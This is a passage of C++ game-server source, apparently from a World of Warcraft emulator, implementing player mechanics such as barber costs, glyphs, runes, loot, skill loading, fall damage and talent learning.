!HasStealthAura() && // not stealthed
!HasInvisibilityAura() && // not invisible
!HasAura(SPELL_RECENTLY_DROPPED_FLAG, EFFECT_INDEX_0) &&// can't pickup
isAlive() // live player
);
}
bool Player::CanCaptureTowerPoint()
{
return ( !HasStealthAura() && // not stealthed
!HasInvisibilityAura() && // not invisible
isAlive() // live player
);
}
uint32 Player::GetBarberShopCost(uint8 newhairstyle, uint8 newhaircolor, uint8 newfacialhair, uint8 newskintone)
{
uint32 level = getLevel();
if (level > GT_MAX_LEVEL)
level = GT_MAX_LEVEL; // max level in this dbc
uint8 hairstyle = GetByteValue(PLAYER_BYTES, 2);
uint8 haircolor = GetByteValue(PLAYER_BYTES, 3);
uint8 facialhair = GetByteValue(PLAYER_BYTES_2, 0);
uint8 skintone = GetByteValue(PLAYER_BYTES, 0);
if((hairstyle == newhairstyle) && (haircolor == newhaircolor) && (facialhair == newfacialhair) &&
((skintone == newskintone) || (newskintone == -1)))
return 0;
GtBarberShopCostBaseEntry const *bsc = sGtBarberShopCostBaseStore.LookupEntry(level - 1);
if(!bsc) // shouldn't happen
return 0xFFFFFFFF;
float cost = 0;
if (hairstyle != newhairstyle)
cost += bsc->cost; // full price
if((haircolor != newhaircolor) && (hairstyle == newhairstyle))
cost += bsc->cost * 0.5f; // +1/2 of price
if (facialhair != newfacialhair)
cost += bsc->cost * 0.75f; // +3/4 of price
if (skintone != newskintone && newskintone != -1) // +1/2 of price
cost += bsc->cost * 0.5f;
return uint32(cost);
}
void Player::InitGlyphsForLevel()
{
for(uint32 i = 0; i < sGlyphSlotStore.GetNumRows(); ++i)
if (GlyphSlotEntry const * gs = sGlyphSlotStore.LookupEntry(i))
if (gs->Order)
SetGlyphSlot(gs->Order - 1, gs->Id);
uint32 level = getLevel();
uint32 value = 0;
// 0x3F = 0x01 | 0x02 | 0x04 | 0x08 | 0x10 | 0x20 for 80 level
if (level >= 15)
value |= (0x01 | 0x02);
if (level >= 30)
value |= 0x08;
if (level >= 50)
value |= 0x04;
if (level >= 70)
value |= 0x10;
if (level >= 80)
value |= 0x20;
SetUInt32Value(PLAYER_GLYPHS_ENABLED, value);
}
void Player::ApplyGlyph(uint8 slot, bool apply)
{
if (uint32 glyph = GetGlyph(slot))
{
if (GlyphPropertiesEntry const *gp = sGlyphPropertiesStore.LookupEntry(glyph))
{
if (apply)
{
CastSpell(this, gp->SpellId, true);
SetUInt32Value(PLAYER_FIELD_GLYPHS_1 + slot, glyph);
}
else
{
RemoveAurasDueToSpell(gp->SpellId);
SetUInt32Value(PLAYER_FIELD_GLYPHS_1 + slot, 0);
}
}
}
}
void Player::ApplyGlyphs(bool apply)
{
for (uint8 i = 0; i < MAX_GLYPH_SLOT_INDEX; ++i)
ApplyGlyph(i,apply);
}
bool Player::isTotalImmune()
{
AuraList const& immune = GetAurasByType(SPELL_AURA_SCHOOL_IMMUNITY);
uint32 immuneMask = 0;
for(AuraList::const_iterator itr = immune.begin(); itr != immune.end(); ++itr)
{
immuneMask |= (*itr)->GetModifier()->m_miscvalue;
if ( immuneMask & SPELL_SCHOOL_MASK_ALL ) // total immunity
return true;
}
return false;
}
bool Player::HasTitle(uint32 bitIndex) const
{
if (bitIndex > MAX_TITLE_INDEX)
return false;
uint32 fieldIndexOffset = bitIndex / 32;
uint32 flag = 1 << (bitIndex % 32);
return HasFlag(PLAYER__FIELD_KNOWN_TITLES + fieldIndexOffset, flag);
}
void Player::SetTitle(CharTitlesEntry const* title, bool lost)
{
uint32 fieldIndexOffset = title->bit_index / 32;
uint32 flag = 1 << (title->bit_index % 32);
if (lost)
{
if(!HasFlag(PLAYER__FIELD_KNOWN_TITLES + fieldIndexOffset, flag))
return;
RemoveFlag(PLAYER__FIELD_KNOWN_TITLES + fieldIndexOffset, flag);
}
else
{
if (HasFlag(PLAYER__FIELD_KNOWN_TITLES + fieldIndexOffset, flag))
return;
SetFlag(PLAYER__FIELD_KNOWN_TITLES + fieldIndexOffset, flag);
}
WorldPacket data(SMSG_TITLE_EARNED, 4 + 4);
data << uint32(title->bit_index);
data << uint32(lost ? 0 : 1); // 1 - earned, 0 - lost
GetSession()->SendPacket(&data);
}
void Player::ConvertRune(uint8 index, RuneType newType, uint32 spellid)
{
SetCurrentRune(index, newType);
if (spellid != 0)
SetConvertedBy(index, spellid);
WorldPacket data(SMSG_CONVERT_RUNE, 2);
data << uint8(index);
data << uint8(newType);
GetSession()->SendPacket(&data);
}
bool Player::ActivateRunes(RuneType type, uint32 count)
{
bool modify = false;
for(uint32 j = 0; count > 0 && j < MAX_RUNES; ++j)
{
if (GetCurrentRune(j) == type && GetRuneCooldown(j) > 0)
{
SetRuneCooldown(j, 0);
--count;
modify = true;
}
}
return modify;
}
void Player::ResyncRunes()
{
WorldPacket data(SMSG_RESYNC_RUNES, 4 + MAX_RUNES * 2);
data << uint32(MAX_RUNES);
for(uint32 i = 0; i < MAX_RUNES; ++i)
{
data << uint8(GetCurrentRune(i)); // rune type
data << uint8(255 - ((GetRuneCooldown(i) / REGEN_TIME_FULL) * 51)); // passed cooldown time (0-255)
}
GetSession()->SendPacket(&data);
}
void Player::AddRunePower(uint8 index)
{
WorldPacket data(SMSG_ADD_RUNE_POWER, 4);
data << uint32(1 << index); // mask (0x00-0x3F probably)
GetSession()->SendPacket(&data);
}
static RuneType runeSlotTypes[MAX_RUNES] = {
/*0*/ RUNE_BLOOD,
/*1*/ RUNE_BLOOD,
/*2*/ RUNE_UNHOLY,
/*3*/ RUNE_UNHOLY,
/*4*/ RUNE_FROST,
/*5*/ RUNE_FROST
};
void Player::InitRunes()
{
if (getClass() != CLASS_DEATH_KNIGHT)
return;
m_runes = new Runes;
m_runes->runeState = 0;
m_runes->needConvert = 0;
for(uint32 i = 0; i < MAX_RUNES; ++i)
{
SetBaseRune(i, runeSlotTypes[i]); // init base types
SetCurrentRune(i, runeSlotTypes[i]); // init current types
SetRuneCooldown(i, 0); // reset cooldowns
SetConvertedBy(i, 0); // init spellid
m_runes->SetRuneState(i);
}
for(uint32 i = 0; i < NUM_RUNE_TYPES; ++i)
SetFloatValue(PLAYER_RUNE_REGEN_1 + i, 0.1f);
}
bool Player::IsBaseRuneSlotsOnCooldown( RuneType runeType ) const
{
for(uint32 i = 0; i < MAX_RUNES; ++i)
if (GetBaseRune(i) == runeType && GetRuneCooldown(i) == 0)
return false;
return true;
}
void Player::AutoStoreLoot(uint32 loot_id, LootStore const& store, bool broadcast, uint8 bag, uint8 slot)
{
Loot loot;
loot.FillLoot (loot_id, store, this, true);
AutoStoreLoot(loot, broadcast, bag, slot);
}
void Player::AutoStoreLoot(Loot& loot, bool broadcast, uint8 bag, uint8 slot)
{
uint32 max_slot = loot.GetMaxSlotInLootFor(this);
for(uint32 i = 0; i < max_slot; ++i)
{
LootItem* lootItem = loot.LootItemInSlot(i,this);
if (!lootItem)
continue;
ItemPosCountVec dest;
InventoryResult msg = CanStoreNewItem(bag,slot,dest,lootItem->itemid,lootItem->count);
if (msg != EQUIP_ERR_OK && slot != NULL_SLOT)
msg = CanStoreNewItem( bag, NULL_SLOT,dest,lootItem->itemid,lootItem->count);
if ( msg != EQUIP_ERR_OK && bag != NULL_BAG)
msg = CanStoreNewItem( NULL_BAG, NULL_SLOT,dest,lootItem->itemid,lootItem->count);
if (msg != EQUIP_ERR_OK)
{
SendEquipError( msg, NULL, NULL, lootItem->itemid );
continue;
}
Item* pItem = StoreNewItem (dest,lootItem->itemid,true,lootItem->randomPropertyId);
SendNewItem(pItem, lootItem->count, false, false, broadcast);
}
}
Item* Player::ConvertItem(Item* item, uint32 newItemId)
{
uint16 pos = item->GetPos();
Item *pNewItem = Item::CreateItem(newItemId, 1, this);
if (!pNewItem)
return NULL;
// copy enchantments
for (uint8 j= PERM_ENCHANTMENT_SLOT; j<=TEMP_ENCHANTMENT_SLOT; ++j)
{
if (item->GetEnchantmentId(EnchantmentSlot(j)))
pNewItem->SetEnchantment(EnchantmentSlot(j), item->GetEnchantmentId(EnchantmentSlot(j)),
item->GetEnchantmentDuration(EnchantmentSlot(j)), item->GetEnchantmentCharges(EnchantmentSlot(j)));
}
// copy durability
if (item->GetUInt32Value(ITEM_FIELD_DURABILITY) < item->GetUInt32Value(ITEM_FIELD_MAXDURABILITY))
{
double loosePercent = 1 - item->GetUInt32Value(ITEM_FIELD_DURABILITY) / double(item->GetUInt32Value(ITEM_FIELD_MAXDURABILITY));
DurabilityLoss(pNewItem, loosePercent);
}
if (IsInventoryPos(pos))
{
ItemPosCountVec dest;
InventoryResult msg = CanStoreItem(item->GetBagSlot(), item->GetSlot(), dest, pNewItem, true);
// ignore cast/combat time restriction
if (msg == EQUIP_ERR_OK)
{
DestroyItem(item->GetBagSlot(), item->GetSlot(), true);
return StoreItem( dest, pNewItem, true);
}
}
else if (IsBankPos(pos))
{
ItemPosCountVec dest;
InventoryResult msg = CanBankItem(item->GetBagSlot(), item->GetSlot(), dest, pNewItem, true);
// ignore cast/combat time restriction
if (msg == EQUIP_ERR_OK)
{
DestroyItem(item->GetBagSlot(), item->GetSlot(), true);
return BankItem(dest, pNewItem, true);
}
}
else if (IsEquipmentPos (pos))
{
uint16 dest;
InventoryResult msg = CanEquipItem(item->GetSlot(), dest, pNewItem, true, false);
// ignore cast/combat time restriction
if (msg == EQUIP_ERR_OK)
{
DestroyItem(item->GetBagSlot(), item->GetSlot(), true);
pNewItem = EquipItem(dest, pNewItem, true);
AutoUnequipOffhandIfNeed();
return pNewItem;
}
}
// fail
delete pNewItem;
return NULL;
}
uint32 Player::CalculateTalentsPoints() const
{
uint32 base_level = getClass() == CLASS_DEATH_KNIGHT ? 55 : 9;
uint32 base_talent = getLevel() <= base_level ? 0 : getLevel() - base_level;
uint32 talentPointsForLevel = base_talent + m_questRewardTalentCount;
return uint32(talentPointsForLevel * sWorld.getConfig(CONFIG_FLOAT_RATE_TALENT));
}
bool Player::CanStartFlyInArea(uint32 mapid, uint32 zone, uint32 area) const
{
if (isGameMaster())
return true;
// continent checked in SpellMgr::GetSpellAllowedInLocationError at cast and area update
uint32 v_map = GetVirtualMapForMapAndZone(mapid, zone);
if (v_map == 571 && !HasSpell(54197)) // Cold Weather Flying
return false;
// don't allow flying in Dalaran restricted areas
// (no other zones currently has areas with AREA_FLAG_CANNOT_FLY)
if (AreaTableEntry const* atEntry = GetAreaEntryByAreaID(area))
return (!(atEntry->flags & AREA_FLAG_CANNOT_FLY));
// TODO: disallow mounting in wintergrasp too when battle is in progress
// forced dismount part in Player::UpdateArea()
return true;
}
struct DoPlayerLearnSpell
{
DoPlayerLearnSpell(Player& _player) : player(_player) {}
void operator() (uint32 spell_id) { player.learnSpell(spell_id, false); }
Player& player;
};
void Player::learnSpellHighRank(uint32 spellid)
{
learnSpell(spellid, false);
DoPlayerLearnSpell worker(*this);
sSpellMgr.doForHighRanks(spellid, worker);
}
void Player::_LoadSkills(QueryResult *result)
{
// 0 1 2
// SetPQuery(PLAYER_LOGIN_QUERY_LOADSKILLS, "SELECT skill, value, max FROM character_skills WHERE guid = '%u'", GUID_LOPART(m_guid));
uint32 count = 0;
if (result)
{
do
{
Field *fields = result->Fetch();
uint16 skill = fields[0].GetUInt16();
uint16 value = fields[1].GetUInt16();
uint16 max = fields[2].GetUInt16();
SkillLineEntry const *pSkill = sSkillLineStore.LookupEntry(skill);
if(!pSkill)
{
sLog.outError("Character %u has skill %u that does not exist.", GetGUIDLow(), skill);
continue;
}
// set fixed skill ranges
switch(GetSkillRangeType(pSkill,false))
{
case SKILL_RANGE_LANGUAGE: // 300..300
value = max = 300;
break;
case SKILL_RANGE_MONO: // 1..1, grey monolite bar
value = max = 1;
break;
default:
break;
}
if (value == 0)
{
sLog.outError("Character %u has skill %u with value 0. Will be deleted.", GetGUIDLow(), skill);
CharacterDatabase.PExecute("DELETE FROM character_skills WHERE guid = '%u' AND skill = '%u' ", GetGUIDLow(), skill );
continue;
}
SetUInt32Value(PLAYER_SKILL_INDEX(count), MAKE_PAIR32(skill,0));
SetUInt32Value(PLAYER_SKILL_VALUE_INDEX(count),MAKE_SKILL_VALUE(value, max));
SetUInt32Value(PLAYER_SKILL_BONUS_INDEX(count),0);
mSkillStatus.insert(SkillStatusMap::value_type(skill, SkillStatusData(count, SKILL_UNCHANGED)));
learnSkillRewardedSpells(skill, value);
++count;
if (count >= PLAYER_MAX_SKILLS) // client limit
{
sLog.outError("Character %u has more than %u skills.", GetGUIDLow(), PLAYER_MAX_SKILLS);
break;
}
} while (result->NextRow());
delete result;
}
for (; count < PLAYER_MAX_SKILLS; ++count)
{
SetUInt32Value(PLAYER_SKILL_INDEX(count), 0);
SetUInt32Value(PLAYER_SKILL_VALUE_INDEX(count),0);
SetUInt32Value(PLAYER_SKILL_BONUS_INDEX(count),0);
}
// special settings
if (getClass()==CLASS_DEATH_KNIGHT)
{
uint32 base_level = std::min(getLevel(),sWorld.getConfig (CONFIG_UINT32_START_HEROIC_PLAYER_LEVEL));
if (base_level < 1)
base_level = 1;
uint32 base_skill = (base_level-1)*5; // 270 at starting level 55
if (base_skill < 1)
base_skill = 1; // skill mast be known and then > 0 in any case
if (GetPureSkillValue (SKILL_FIRST_AID) < base_skill)
SetSkill(SKILL_FIRST_AID, base_skill, base_skill);
if (GetPureSkillValue (SKILL_AXES) < base_skill)
SetSkill(SKILL_AXES, base_skill, base_skill);
if (GetPureSkillValue (SKILL_DEFENSE) < base_skill)
SetSkill(SKILL_DEFENSE, base_skill, base_skill);
if (GetPureSkillValue (SKILL_POLEARMS) < base_skill)
SetSkill(SKILL_POLEARMS, base_skill, base_skill);
if (GetPureSkillValue (SKILL_SWORDS) < base_skill)
SetSkill(SKILL_SWORDS, base_skill, base_skill);
if (GetPureSkillValue (SKILL_2H_AXES) < base_skill)
SetSkill(SKILL_2H_AXES, base_skill, base_skill);
if (GetPureSkillValue (SKILL_2H_SWORDS) < base_skill)
SetSkill(SKILL_2H_SWORDS, base_skill, base_skill);
if (GetPureSkillValue (SKILL_UNARMED) < base_skill)
SetSkill(SKILL_UNARMED, base_skill, base_skill);
}
}
uint32 Player::GetPhaseMaskForSpawn() const
{
uint32 phase = PHASEMASK_NORMAL;
if(!isGameMaster())
phase = GetPhaseMask();
else
{
AuraList const& phases = GetAurasByType(SPELL_AURA_PHASE);
if(!phases.empty())
phase = phases.front()->GetMiscValue();
}
// some aura phases include 1 normal map in addition to phase itself
if (uint32 n_phase = phase & ~PHASEMASK_NORMAL)
return n_phase;
return PHASEMASK_NORMAL;
}
InventoryResult Player::CanEquipUniqueItem(Item* pItem, uint8 eslot, uint32 limit_count) const
{
ItemPrototype const* pProto = pItem->GetProto();
// proto based limitations
if (InventoryResult res = CanEquipUniqueItem(pProto,eslot,limit_count))
return res;
// check unique-equipped on gems
for(uint32 enchant_slot = SOCK_ENCHANTMENT_SLOT; enchant_slot < SOCK_ENCHANTMENT_SLOT+3; ++enchant_slot)
{
uint32 enchant_id = pItem->GetEnchantmentId(EnchantmentSlot(enchant_slot));
if(!enchant_id)
continue;
SpellItemEnchantmentEntry const* enchantEntry = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if(!enchantEntry)
continue;
ItemPrototype const* pGem = ObjectMgr::GetItemPrototype(enchantEntry->GemID);
if(!pGem)
continue;
// include for check equip another gems with same limit category for not equipped item (and then not counted)
uint32 gem_limit_count = !pItem->IsEquipped() && pGem->ItemLimitCategory
? pItem->GetGemCountWithLimitCategory(pGem->ItemLimitCategory) : 1;
if (InventoryResult res = CanEquipUniqueItem(pGem, eslot,gem_limit_count))
return res;
}
return EQUIP_ERR_OK;
}
InventoryResult Player::CanEquipUniqueItem( ItemPrototype const* itemProto, uint8 except_slot, uint32 limit_count) const
{
// check unique-equipped on item
if (itemProto->Flags & ITEM_FLAG_UNIQUE_EQUIPPED)
{
// there is an equip limit on this item
if (HasItemOrGemWithIdEquipped(itemProto->ItemId,1,except_slot))
return EQUIP_ERR_ITEM_UNIQUE_EQUIPABLE;
}
// check unique-equipped limit
if (itemProto->ItemLimitCategory)
{
ItemLimitCategoryEntry const* limitEntry = sItemLimitCategoryStore.LookupEntry(itemProto->ItemLimitCategory);
if(!limitEntry)
return EQUIP_ERR_ITEM_CANT_BE_EQUIPPED;
// NOTE: limitEntry->mode not checked because if item have have-limit then it applied and to equip case
if (limit_count > limitEntry->maxCount)
return EQUIP_ERR_ITEM_MAX_LIMIT_CATEGORY_EQUIPPED_EXCEEDED_IS;
// there is an equip limit on this item
if (HasItemOrGemWithLimitCategoryEquipped(itemProto->ItemLimitCategory,limitEntry->maxCount-limit_count+1,except_slot))
return EQUIP_ERR_ITEM_MAX_LIMIT_CATEGORY_EQUIPPED_EXCEEDED_IS;
}
return EQUIP_ERR_OK;
}
InventoryResult Player::CanEquipMoreJewelcraftingGems(uint32 count, uint8 except_slot) const
{
//uint32 tempcount = count;
for (int i = EQUIPMENT_SLOT_START; i < EQUIPMENT_SLOT_END; ++i)
{
if (i == int(except_slot))
continue;
Item *pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i);
if (!pItem)
continue;
ItemPrototype const *pProto = pItem->GetProto();
if (!pProto)
continue;
if (pProto->Socket[0].Color || pItem->GetEnchantmentId(PRISMATIC_ENCHANTMENT_SLOT))
{
count += pItem->GetJewelcraftingGemCount();
if (count > MAX_JEWELCRAFTING_GEMS)
return EQUIP_ERR_ITEM_MAX_COUNT_EQUIPPED_SOCKETED;
}
}
return EQUIP_ERR_OK;
}
void Player::HandleFall(MovementInfo const& movementInfo)
{
// calculate total z distance of the fall
float z_diff = m_lastFallZ - movementInfo.GetPos()->z;
DEBUG_LOG("zDiff = %f", z_diff);
//Players with low fall distance, Feather Fall or physical immunity (charges used) are ignored
// 14.57 can be calculated by resolving damageperc formula below to 0
if (z_diff >= 14.57f && !isDead() && !isGameMaster() &&
!HasAuraType(SPELL_AURA_HOVER) && !HasAuraType(SPELL_AURA_FEATHER_FALL) &&
!HasAuraType(SPELL_AURA_FLY) && !IsImmunedToDamage(SPELL_SCHOOL_MASK_NORMAL) )
{
//Safe fall, fall height reduction
int32 safe_fall = GetTotalAuraModifier(SPELL_AURA_SAFE_FALL);
float damageperc = 0.018f*(z_diff-safe_fall)-0.2426f;
if (damageperc >0 )
{
uint32 damage = (uint32)(damageperc * GetMaxHealth()*sWorld.getConfig(CONFIG_FLOAT_RATE_DAMAGE_FALL));
float height = movementInfo.GetPos()->z;
UpdateAllowedPositionZ(movementInfo.GetPos()->x, movementInfo.GetPos()->y, height);
if (damage > 0)
{
//Prevent fall damage from being more than the player maximum health
if (damage > GetMaxHealth())
damage = GetMaxHealth();
// Gust of Wind
if (GetDummyAura(43621))
damage = GetMaxHealth()/2;
uint32 original_health = GetHealth();
uint32 final_damage = EnvironmentalDamage(DAMAGE_FALL, damage);
// recheck alive, might have died of EnvironmentalDamage, avoid cases when player die in fact like Spirit of Redemption case
if (isAlive() && final_damage < original_health)
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_FALL_WITHOUT_DYING, uint32(z_diff*100));
}
//Z given by moveinfo, LastZ, FallTime, WaterZ, MapZ, Damage, Safefall reduction
DEBUG_LOG("FALLDAMAGE z=%f sz=%f pZ=%f FallTime=%d mZ=%f damage=%d SF=%d" , movementInfo.GetPos()->z, height, GetPositionZ(), movementInfo.GetFallTime(), height, damage, safe_fall);
}
}
RemoveAurasWithInterruptFlags(AURA_INTERRUPT_FLAG_LANDING); // Remove auras that should be removed at landing
}
void Player::UpdateAchievementCriteria( AchievementCriteriaTypes type, uint32 miscvalue1/*=0*/, uint32 miscvalue2/*=0*/, Unit *unit/*=NULL*/, uint32 time/*=0*/ )
{
GetAchievementMgr().UpdateAchievementCriteria(type, miscvalue1,miscvalue2,unit,time);
}
void Player::StartTimedAchievementCriteria(AchievementCriteriaTypes type, uint32 timedRequirementId, time_t startTime /*= 0*/)
{
GetAchievementMgr().StartTimedAchievementCriteria(type, timedRequirementId, startTime);
}
PlayerTalent const* Player::GetKnownTalentById(int32 talentId) const
{
PlayerTalentMap::const_iterator itr = m_talents[m_activeSpec].find(talentId);
if (itr != m_talents[m_activeSpec].end() && itr->second.state != PLAYERSPELL_REMOVED)
return &itr->second;
else
return NULL;
}
SpellEntry const* Player::GetKnownTalentRankById(int32 talentId) const
{
if (PlayerTalent const* talent = GetKnownTalentById(talentId))
return sSpellStore.LookupEntry(talent->talentEntry->RankID[talent->currentRank]);
else
return NULL;
}
void Player::LearnTalent(uint32 talentId, uint32 talentRank)
{
uint32 CurTalentPoints = GetFreeTalentPoints();
if (CurTalentPoints == 0)
return;
if (talentRank >= MAX_TALENT_RANK)
return;
TalentEntry const* talentInfo = sTalentStore.LookupEntry(talentId);
if(!talentInfo)
return;
TalentTabEntry const* talentTabInfo = sTalentTabStore.LookupEntry(talentInfo->TalentTab);
if(!talentTabInfo)
return;
// prevent learn talent for different class (cheating)
if ( (getClassMask() & talentTabInfo->ClassMask) == 0 )
return;
// find current max talent rank
uint32 curtalent_maxrank = 0;
if (PlayerTalent const* talent = GetKnownTalentById(talentId))
curtalent_maxrank = talent->currentRank + 1;
// we already have same or higher talent rank learned
if (curtalent_maxrank >= (talentRank + 1))
return;
// check if we have enough talent points
if (CurTalentPoints < (talentRank - curtalent_maxrank + 1))
return;
// Check if it requires another talent
if (talentInfo->DependsOn > 0)
{
if (TalentEntry const *depTalentInfo = sTalentStore.LookupEntry(talentInfo->DependsOn))
{
bool hasEnoughRank = false;
PlayerTalentMap::iterator dependsOnTalent = m_talents[m_activeSpec].find(depTalentInfo->TalentID);
if (dependsOnTalent != m_talents[m_activeSpec].end() && dependsOnTalent->second.state != PLAYERSPELL_REMOVED)
{
PlayerTalent depTalent = (*dependsOnTalent).second;
if (depTalent.currentRank >= talentInfo->DependsOnRank)
hasEnoughRank = true;
}
if (!hasEnoughRank)
return;
}
}
// Find out how many points we have in this field
uint32 spentPoints = 0;
uint32 tTab = talentInfo->TalentTab;
if (talentInfo->Row > 0)
{
for (PlayerTalentMap::const_iterator iter = m_talents[m_activeSpec].begin(); iter != m_talents[m_activeSpec].end(); ++iter)
if (iter->second.state != PLAYERSPELL_REMOVED && iter->second.talentEntry->TalentTab == tTab)
spentPoints += iter->second.currentRank + 1;
}
// not have required min points spent in talent tree
if (spentPoints < (talentInfo->Row * MAX_TALENT_RANK))
return;
// spell not set in talent.dbc
uint32 spellid = talentInfo->RankID[talentRank];
if ( spellid == 0 )
{
sLog.outError("Talent.dbc have for talent: %u Rank: %u spell id = 0", talentId, talentRank);
return;
}
// already known
if (HasSpell(spellid))
return;
// learn! (other talent ranks will unlearned at learning)
learnSpell(spellid, false);
DETAIL_LOG("TalentID: %u Rank: %u Spell: %u\n", talentId, talentRank, spellid);
}
void Player::LearnPetTalent(ObjectGuid petGuid, uint32 talentId, uint32 talentRank)
{
Pet *pet = GetPet();
if (!pet)
return;
if (petGuid != pet->GetObjectGuid())
return;
uint32 CurTalentPoints = pet->GetFreeTalentPoints();
if (CurTalentPoints == 0)
return;
if (talentRank >= MAX_PET_TALENT_RANK)
return;
TalentEntry const *talentInfo = sTalentStore.LookupEntry(talentId);
if(!talentInfo)
return;
TalentTabEntry const *talentTabInfo = sTalentTabStore.LookupEntry(talentInfo->TalentTab);
if(!talentTabInfo)
return;
CreatureInfo const *ci = pet->GetCreatureInfo();
if(!ci)
return;
CreatureFamilyEntry const *pet_family = sCreatureFamilyStore.LookupEntry(ci->family);
if(!pet_family)
return;
if (pet_family->petTalentType < 0) // not hunter pet
return;
// prevent learn talent for different family (cheating)
if(!((1 << pet_family->petTalentType) & talentTabInfo->petTalentMask))
return;
// find current max talent rank
int32 curtalent_maxrank = 0;
for(int32 k = MAX_TALENT_RANK-1; k > -1; --k)
{
if (talentInfo->RankID[k] && pet->HasSpell(talentInfo->RankID[k]))
{
curtalent_maxrank = k + 1;
break;
}
}
// we already have same or higher talent rank learned
if (curtalent_maxrank >= int32(talentRank + 1))
return;
// check if we have enough talent points
if (CurTalentPoints < (talentRank - curtalent_maxrank + 1))
return;
// Check if it requires another talent
if (talentInfo->DependsOn > 0)
{
if (TalentEntry const *depTalentInfo = sTalentStore.LookupEntry(talentInfo->DependsOn))
{
bool hasEnoughRank = false;
for (int i = talentInfo->DependsOnRank; i < MAX_TALENT_RANK; ++i)
{
if (depTalentInfo->RankID[i] != 0)
if (pet->HasSpell(depTalentInfo->RankID[i]))
hasEnoughRank = true;
}
if (!hasEnoughRank)
return;
}
}
// Find out how many points we have in this field
uint32 spentPoints = 0;
uint32 tTab = talentInfo->TalentTab;
if (talentInfo->Row > 0)
{
unsigned int numRows = sTalentStore.GetNumRows();
for (unsigned int i = 0; i < numRows; ++i) // Loop through all talents.
{
// Someday, someone needs to revamp
const TalentEntry *tmpTalent = sTalentStore.LookupEntry(i);
if (tmpTalent) // the way talents are tracked
{
if (tmpTalent->TalentTab == tTab)
{
for (int j = 0; j < MAX_TALENT_RANK; ++j)
{
if (tmpTalent->RankID[j] != 0)
{
if (pet->HasSpell(tmpTalent->RankID[j]))
{
spentPoints += j + 1;
}
}
}
}
}
}
}
// not have required min points spent in talent tree
if (spentPoints < (talentInfo->Row * MAX_PET_TALENT_RANK))
return;
// spell not set in talent.dbc
uint32 spellid = talentInfo->RankID[talentRank];
if ( spellid == 0 )
{
sLog.outError("Talent.dbc have for talent: %u Rank: %u spell id = 0", talentId, talentRank);
return;
}
// already known
if (pet->HasSpell(spellid))
return;
// learn! (other talent ranks will unlearned at learning)
pet->learnSpell(spellid);
DETAIL_LOG("PetTalentID: %u Rank: %u Spell: %u\n", talentId, talentRank, spellid);
}
void Player::UpdateKnownCurrencies(uint32 itemId, bool apply)
{
if (CurrencyTypesEntry const* ctEntry = sCurrencyTypesStore.LookupEntry(itemId))
{
if (apply)
SetFlag64(PLAYER_FIELD_KNOWN_CURRENCIES, (UI64LIT(1) << (ctEntry->BitIndex - 1)));
else
RemoveFlag64(PLAYER_FIELD_KNOWN_CURRENCIES, (UI64LIT(1) << (ctEntry->BitIndex - 1)));
}
}
void Player::UpdateFallInformationIfNeed( MovementInfo const& minfo,uint16 opcode )
{
if (m_lastFallTime >= minfo.GetFallTime() || m_lastFallZ <= minfo.GetPos()->z || opcode == MSG_MOVE_FALL_LAND)
SetFallInformation(minfo.GetFallTime(), minfo.GetPos()->z);
}
void Player::UnsummonPetTemporaryIfAny(bool full)
{
Pet* minipet = GetMiniPet();
if (full && minipet)
minipet->Unsummon(PET_SAVE_AS_DELETED, this);
Pet* pet = GetPet();
if (!pet)
return;
Map* petmap = pet->GetMap();
if (!petmap)
return;
GroupPetList m_groupPetsTmp = GetPets(); // Original list may be modified in this function
if (m_groupPetsTmp.empty())
return;
for (GroupPetList::const_iterator itr = m_groupPetsTmp.begin(); itr != m_groupPetsTmp.end(); ++itr)
{
if (Pet* pet = petmap->GetPet(*itr))
{
if (!sWorld.getConfig(CONFIG_BOOL_PET_SAVE_ALL))
{
if (!GetTemporaryUnsummonedPetCount() && pet->isControlled() && !pet->isTemporarySummoned() && !pet->GetPetCounter())
{
SetTemporaryUnsummonedPetNumber(pet->GetCharmInfo()->GetPetNumber());
pet->Unsummon(PET_SAVE_AS_CURRENT, this);
}
else
if (full)
pet->Unsummon(PET_SAVE_NOT_IN_SLOT, this);
}
else
{
SetTemporaryUnsummonedPetNumber(pet->GetCharmInfo()->GetPetNumber(), pet->GetPetCounter());
if (!pet->GetPetCounter() && pet->getPetType() == HUNTER_PET)
pet->Unsummon(PET_SAVE_AS_CURRENT, this);
else
pet->Unsummon(PET_SAVE_NOT_IN_SLOT, this);
}
DEBUG_LOG("Player::UnsummonPetTemporaryIfAny tempusummon pet %s ",(*itr).GetString().c_str());
}
}
}
void Player::ResummonPetTemporaryUnSummonedIfAny()
{
if (!GetTemporaryUnsummonedPetCount())
return;
// not resummon in not appropriate state
if (IsPetNeedBeTemporaryUnsummoned())
return;
// if (GetPetGuid())
// return;
// sort petlist - 0 must be _last_
for (uint8 count = GetTemporaryUnsummonedPetCount(); count != 0; --count)
{
uint32 petnum = GetTemporaryUnsummonedPetNumber(count-1);
if (petnum == 0)
continue;
DEBUG_LOG("Player::ResummonPetTemporaryUnSummonedIfAny summon pet %u count %u",petnum, count-1);
Pet* NewPet = new Pet;
NewPet->SetPetCounter(count-1);
if(!NewPet->LoadPetFromDB(this, 0, petnum))
delete NewPet;
}
ClearTemporaryUnsummonedPetStorage();
}
uint32 Player::GetTemporaryUnsummonedPetNumber(uint8 count)
{
PetNumberList::const_iterator itr = m_temporaryUnsummonedPetNumber.find(count);
return itr != m_temporaryUnsummonedPetNumber.end() ? itr->second : 0;
};
bool Player::canSeeSpellClickOn(Creature const *c) const
{
if(!c->HasFlag(UNIT_NPC_FLAGS,UNIT_NPC_FLAG_SPELLCLICK))
return false;
SpellClickInfoMapBounds clickPair = sObjectMgr.GetSpellClickInfoMapBounds(c->GetEntry());
for(SpellClickInfoMap::const_iterator itr = clickPair.first; itr != clickPair.second; ++itr)
if (itr->second.IsFitToRequirements(this))
return true;
return false;
}
void Player::BuildPlayerTalentsInfoData(WorldPacket *data)
{
*data << uint32(GetFreeTalentPoints()); // unspentTalentPoints
*data << uint8(m_specsCount); // talent group count (0, 1 or 2)
*data << uint8(m_activeSpec); // talent group index (0 or 1)
if (m_specsCount)
{
// loop through all specs (only 1 for now)
for(uint32 specIdx = 0; specIdx < m_specsCount; ++specIdx)
{
uint8 talentIdCount = 0;
size_t pos = data->wpos();
*data << uint8(talentIdCount); // [PH], talentIdCount
// find class talent tabs (all players have 3 talent tabs)
uint32 const* talentTabIds = GetTalentTabPages(getClass());
for(uint32 i = 0; i < 3; ++i)
{
uint32 talentTabId = talentTabIds[i];
